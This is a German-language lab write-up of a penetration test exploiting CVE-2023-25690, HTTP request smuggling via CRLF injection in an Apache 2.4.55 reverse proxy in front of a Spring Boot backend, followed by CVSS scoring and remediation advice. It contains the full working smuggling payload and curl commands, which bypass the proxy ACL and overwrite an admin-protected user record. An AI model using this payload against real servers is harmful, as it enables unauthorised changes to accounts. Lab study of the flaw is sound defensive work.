
HTTP Request Smuggling lab: Apache 2.4.55 CRLF injection
| Komponente | Rolle | Version |
|---|
| Apache HTTP Server | Reverse Proxy | 2.4.55 (verwundbar) |
| Spring Boot (eingebetteter Tomcat) | Backend-API | 4.x (Java 21) |
| SQLite | Datenbank | — |
Benutzer ──► Apache :80 (Proxy) ──► Spring Boot :8080 (Backend) ──► SQLite
│
├─ mod_rewrite + mod_proxy
├─ CVE-2023-25690: nicht bereinigte CRLF
├─ RewriteRule "^/public/?(.*)" "http://spring-backend:8080/public/$1" [P]
├─ RewriteRule "^/service/(.*)" "http://spring-backend:8080/api/status?name=$1" [P]
└─ ACL: <Location "/admin"> blockiert
POST /public/register: ermöglicht die Registrierung von Benutzern in der Datenbank
POST /public/login: ermöglicht den Login durch Überprüfung der eingegebenen Anmeldedaten und gibt ein Sitzungstoken aus
GET /public/dashboard: geschützter Bereich der Benutzer
GET /api/status: akzeptiert den Parameter „name“, ist ein Beispiel-Endpunkt zur Überprüfung des Status von Diensten
GET /public/logout
POST /admin/edit/{id}/{newName}/{newPass}: ist eine theoretisch für die Öffentlichkeit unzugängliche Route, die es Administratoren ermöglicht, Benutzerdaten zu ändern
Während der Penetrationstest-Aktivität wurde eine kritische Schwachstelle in der Reverse-Proxy-Infrastruktur identifiziert, die das Spring-Boot-Backend exponiert. Der Apache-HTTP-Server-Proxy in Version 2.4.55 ist von der Schwachstelle CVE-2023-25690 (HTTP Request Smuggling) betroffen, die es einem Angreifer ermöglicht, die auf dem Proxy auferlegten Sicherheitsfilter zu umgehen und direkt ungeschützte interne administrative Endpunkte zu erreichen.
Der Angriff nutzt das Fehlen einer Bereinigung von Steuerzeichen (CRLF) in den RewriteRule-Regeln von Apache aus und ermöglicht die Einschleusung einer zweiten HTTP-Anfrage zwischen den Parametern einer legitimen Anfrage an das Backend. Der Proof of Concept hat die unautorisierte Änderung von Benutzeranmeldedaten in der Datenbank über den Endpunkt /admin/edit/{id}/{newName}/{newPass}, der theoretisch durch die Proxy-ACLs geschützt ist, demonstriert.
Empfehlungen: Apache HTTP Server umgehend auf Version ≥ 2.4.56 aktualisieren, die Sicherheitsfilter auf dem Proxy verstärken und eine Sicherheitsebene auf der Backend-Seite (Spring Security) für alle sensiblen Endpunkte implementieren.
Identifizierung der Apache-Version durch Analyse der HTTP-Header der Antwort.
$ curl -I http://localhost/service/
HTTP/1.1 200
Date: Sun, 21 Jun 2026 08:54:00 GMT
Server: Apache/2.4.55 (Unix)
Content-Type: text/plain;charset=UTF-8
Content-Length: 42
Ergebnis: Der Server-Header zeigt Apache/2.4.55. Konsultation der CVE-Datenbank → Übereinstimmung mit CVE-2023-25690.
Gemäß der CVE gilt: Wenn in dieser Apache-Version eine RewriteRule vorhanden ist, die generische Zeichen aus der Anfrage an den Proxy in die Ziel-URL des Backends kopiert, wird der übertragene Text nicht bereinigt, sodass auch Steuerzeichen (wie Zeilenumbrüche) durchgelassen werden.
Zum Beispiel: RewriteRule "^/here/(.*)" "http://backend.com:8080/elsewhere?$1" [P] // das P steht für Proxy-Modus
Unser Ziel ist es nun, einen möglichen Endpunkt zu entdecken, der diese Übertragung auf Proxy-Ebene durchführt.
Aus der Analyse der Antworten und dem Verhalten der Anwendung wird beobachtet, dass die Sitzung über JSESSIONID verwaltet wird, was die Verwendung eines Java-Servlet-Containers (wie Apache Tomcat, Jetty oder WildFly) bestätigt. Darüber hinaus gibt die Anfrage an nicht existierende Endpunkte eine „Whitelabel Error Page“ zurück, was darauf hindeutet, dass im Backend Spring Boot verwendet wird.
Mithilfe eines Bash-Skripts zur Automatisierung des Wörterbuch-Fuzzings wurden die im Netzwerk exponierten Endpunkte kartiert (vermutlich alle).
Ergebnis:
| Endpunkt | HTTP-Code | Methode | Parameter |
|---|---|---|---|
| admin | 403 | GET | (keine Parameter) |
| public/register | 200 | POST | user=test&pass=test |
| public/login | 200 | POST | user=test&pass=test |
| public/dashboard | 200 | GET | (keine Parameter) |
| public/logout | 200 | GET | (keine Parameter) |
| api/status | 200 | GET | (keine Parameter) |
| service/* | 200 | GET | (keine Parameter) |
Da
beide dieselbe Antwort zurückgeben, wird klar, dass sie auf denselben Backend-Endpunkt verweisen. Da außerdem Anfragen wie /service/x/y/z (die höchstwahrscheinlich nicht existieren) kein 404 zurückgeben, kann abgeleitet werden, dass der ursprüngliche Endpunkt einen Parameter und keine Pfadvariable akzeptiert. Zusammenfassend lässt sich also ableiten, dass Anfragen an /service/<Dienst> über eine RewriteRule an das Spring-Boot-Backend übersetzt werden (genau das, wonach wir gesucht haben). Nun gilt es herauszufinden, ob diese RewriteRule dumm ist, also eine Regex wie .* verwendet, oder ob sie gut strukturiert ist.
Ich versuche, Steuerzeichen in die Anfrage einzufügen, um den legitimen Inhalt vom verborgenen zu trennen:
curl -v --path-as-is 'localhost/service/x%20HTTP/1.1%0d%0aHost:%20spring-backend%0d%0a%0d%0aprova:%20ok%0d%0atrash_header:%20'
>> ... HTTP/1.1 200 ... Der Dienst 'x' ist betriebsbereit und stabil.
Ich habe einen benutzerdefinierten Parameter eingefügt, um zu überprüfen, ob die CRLF korrekt interpretiert werden.
trash_header hat die Aufgabe, die Header zu kapseln, die Apache in die Anfrage an das Backend einfügt (auf diese Weise werden sie als einfacher Text des X-Headers interpretiert und haben für die HTTP-Anfrage keinen Wert).
Mit tcpdump im Backend-Container konnte ich die von Apache kommende HTTP-Anfrage abfangen:
docker exec -it apache_vuln-spring-backend-1 sh
apk add tcpdump
tcpdump -i any -A port 8080
Das Backend sieht diese Anfrage:
GET /api/status?name=x HTTP/1.1
Host: spring-backend
prova: ok
trash_header: HTTP/1.1
Host: spring-backend:8080
User-Agent: curl/7.81.0
Accept: */*
X-Forwarded-For: 172.19.0.1
X-Forwarded-Host: localhost
X-Forwarded-Server: localhost
Connection: Keep-Alive
„Die Steuerzeichen haben die Kontrolle übernommen“
Die Antwort zeigt mir, dass der Teil mit den Steuerzeichen ungehindert als Struktur der HTTP-Anfrage selbst und nicht nur als Parameter durchgegangen ist (da der vom Backend abgefangene Name nur 'x' ist). Wir haben also das Format der HTTP-Anfrage an das Backend vorgegeben und der Proxy hat es übernommen. Dies ebnet den Weg für die eigentliche Smuggling-Payload.
| Endpunkt | Methode | Zugriff | Hinweise |
|---|---|---|---|
/public/register | POST | Öffentlich | Benutzerregistrierung |
/public/login | POST | Öffentlich | Login, gibt JSESSIONID aus |
/public/dashboard | GET | Authentifiziert | Geschützter Bereich |
/public/logout | GET | Öffentlich | Zerstört Sitzung |
/api/status?name= | GET | Öffentlich | Health Check |
/service/{param} | GET | Öffentlich | Verwundbares Gateway ($1 in Query-String) |
/admin/edit/{id}/{n}/{p} | POST | Geschützt (ACL) | Ändert Benutzeranmeldedaten |
/admin/ | * | Blockiert (403) | Apache-ACL |
Den Apache-Reverse-Proxy zwingen, zwei getrennte Anfragen an das Spring-Boot-Backend weiterzuleiten, sodass die zweite Anfrage den Endpunkt /admin/edit/ erreicht und dabei den ACL-Filter von Apache umgeht.
In dieser Phase stellt man sich vor, dass localhost und spring-backend jeweils die öffentlichen Adressen von Proxy und Server sind. Falls sich Proxy und Backend im selben Netzwerk (oder derselben Organisation) befinden, wird spring-backend eine private IP sein (die leider schwer zu ermitteln wäre).
Die Schwachstelle liegt in der RewriteRule:
RewriteRule "^/service/(.*)" "http://spring-backend:8080/api/status?name=$1" [P]
Der Proxy erfasst die Benutzereingabe in $1 und fügt sie in die Query-String ein, ohne die Steuerzeichen (%20, %0d%0a) zu bereinigen. Das Backend (Tomcat) interpretiert diese Zeichen als Abschluss der URL und Beginn einer neuen HTTP-Anfrage auf demselben TCP-Socket.
A) GET /service/x → Legitimer Teil; alles, was nach /service/
kommt, landet in $1 (Parameter name)
B) %20HTTP/1.1 → [Splitting Point] Leerzeichen, das die
URL im Backend vorzeitig abschließt
C) %0d%0aHost:...%0d%0a%0d%0a → [Header Injection] CRLF zum Beenden
der ersten Anfrage
D) POST /admin/edit/1/HACKED/PWNED → [Smuggled Request] Versteckte
bösartige Anfrage an den Admin-Endpunkt
E) %20HTTP/1.1 → HTTP-Version für die zweite Anfrage
F) %0d%0aContent-Length:%200 → Leerer Body für die POST
%0d%0aConnection:%20close
%0d%0aX-Header:%20 → [Header Sink] Absorbiert automatisch
von Apache hinzugefügte Header
GET /service/x%20HTTP/1.1%0d%0aHost:%20spring-backend%0d%0a%0d%0aPOST%20/admin/edit/1/HACKED/PWNED%20HTTP/1.1%0d%0aContent-Length:%200%0d%0aConnection:%20close%0d%0aX-Header:%20 HTTP/1.1
Host: localhost
Was Apache sieht (eine einzige Anfrage):
GET /service/x%20HTTP/1.1%0d%0a... HTTP/1.1
Host: localhost
Was das Backend empfängt (zwei Anfragen auf demselben Socket):
--- Anfrage 1 (legitim, aber „verstümmelt“) ---
GET /api/status?name=x HTTP/1.1
Host: spring-backend
--- Anfrage 2 (smuggled) ---
POST /admin/edit/1/HACKED/PWNED HTTP/1.1
Content-Length: 0
Connection: close
X-Header:
>> ... HTTP/1.1 200 ... Der Dienst 'x' ist betriebsbereit und stabil.
Der Benutzer mit ID 1 wurde in HACKED mit dem Passwort PWNED umbenannt — vollständige Umgehung der Proxy-ACLs.
Direkter Zugriff auf die Datenbank zur Bestätigung:
$ docker exec apache_vuln-spring-backend-1 sqlite3 /app/users.db "SELECT * FROM user;"
1|HACKED|PWNED
| ID | Beschreibung |
|---|---|
| CVE-2023-25690 | Apache HTTP Server HTTP Request Smuggling über mod_proxy mit RewriteRule/ProxyPassMatch |
| CWE-444 | Inkonsistente Interpretation von HTTP-Anfragen („HTTP Request/Response Smuggling“) |
| CWE-113 | Unsachgemäße Neutralisierung von CRLF-Sequenzen in HTTP-Headern („HTTP Response Splitting“) |
| Metrik | Wert | Beschreibung |
|---|---|---|
| Attack Vector (AV) | N (Netzwerk) | Aus der Ferne über das Netzwerk erreichbar |
| Attack Complexity (AC) | L (Niedrig) | Keine besonderen Bedingungen |
| Privileges Required (PR) | N (Keine) | Keine Authentifizierung erforderlich |
| User Interaction (UI) | N (Keine) | Keine Interaktion des Opfers erforderlich |
| Scope (S) | C (Geändert) | Die verwundbare Komponente unterscheidet sich von der betroffenen |
| Confidentiality (C) | H (Hoch) | Zugriff auf geschützte Endpunkte |
| Integrity (I) | H (Hoch) | Änderung von Benutzerdaten in der Datenbank |
| Availability (A) | H (Hoch) | Mögliche Cache-Poisoning des Proxys / Verschmutzung der Sockets |
Basis-Score: 10.0 (KRITISCH) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
| Metrik | Wert | Beschreibung |
|---|---|---|
| Exploit Code Maturity (E) | F (Funktionierender Exploit vorhanden) | Funktionierender Exploit |
| Remediation Level (RL) | O (Offizieller Fix) | In späteren Apache-Versionen wurde der Fehler behoben |
| Report Confidence (RC) | C (Bestätigt) | Schwachstelle bestätigt und dokumentiert |
Zeitlicher Score: 9.3 (HOCH)
| Metrik | Wert | Beschreibung |
|---|---|---|
| Attack Vector (MAV) | N (Netzwerk) | Proxy im Internet exponiert |
| Attack Complexity (MAC) | H (Hoch) | Erfordert Kenntnis der internen Endpunktstruktur |
| Privileges Required (MPR) | L (Niedrig) | Keinerlei Privilegien erforderlich |
| User Interaction (MUI) | N (Keine) | Keine Interaktion externer Benutzer erforderlich |
| Scope (MS) | C (Geändert) | Ein System wird über ein anderes verletzt |
| Impact Metrics (MC/MI/MA) | H/H/H | Maximaler Schaden (Änderung von Daten in der Datenbank) |
| CIA Requirements (CR/IR/AR) | H/H/H | Kritisches System (Benutzer-Login) |
Umwelt-Score: 8.0 (HOCH)
Vector-String: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H/E:F/RL:O/RC:C/CR:H/IR:H/AR:H/MAV:N/MAC:H/MPR:L/MUI:N/MS:C/MC:H/MI:H/MA:H
Gesamtscore: 8.0 — HOCH
Apache HTTP Server auf Version ≥ 2.4.56 aktualisieren, in der die Bereinigung von Steuerzeichen in den RewriteRule-Regeln mit dem Flag [P] auf Kern-Ebene des Servers erzwungen wird.
| Aktuelle Version | Zielversion | Fix |
|---|---|---|
| 2.4.55 | 2.4.56+ | Automatische CRLF-Bereinigung in mod_proxy |
Hinzufügen von spring-boot-starter-security zur pom.xml:
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-security</artifactId>
</dependency>
Konfigurieren einer SecurityFilterChain, die die administrativen Endpunkte schützt:
@Configuration
@EnableWebSecurity
public class SecurityConfig {
@Bean
public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
http
.authorizeHttpRequests(auth -> auth
.requestMatchers("/public/**").permitAll()
.requestMatchers("/api/**").permitAll()
.requestMatchers("/admin/**").hasRole("ADMIN")
.anyRequest().authenticated()
)
.httpBasic(Customizer.withDefaults())
.sessionManagement(session -> session
.sessionCreationPolicy(SessionCreationPolicy.IF_REQUIRED));
return http.build();
}
}
Hinzufügen von Prüfungen für alle von den Endpunkten akzeptierten Parameter (Query-String, Pfadvariablen, Formulardaten):
@PostMapping("/admin/edit/{id}/{newName}/{newPass}")
public String adminEdit(
@PathVariable Long id,
@PathVariable @NotBlank String newName,
@PathVariable @NotBlank String newPass,
HttpSession session) {
// Überprüfung, ob der Benutzer die Rolle ADMIN hat
User loggedUser = (User) session.getAttribute("LOGGED_USER");
if (loggedUser == null || !loggedUser.hasAdminRole()) {
return "Zugriff verweigert";
}
// ... Operation nur nach Auth-Check erlaubt
}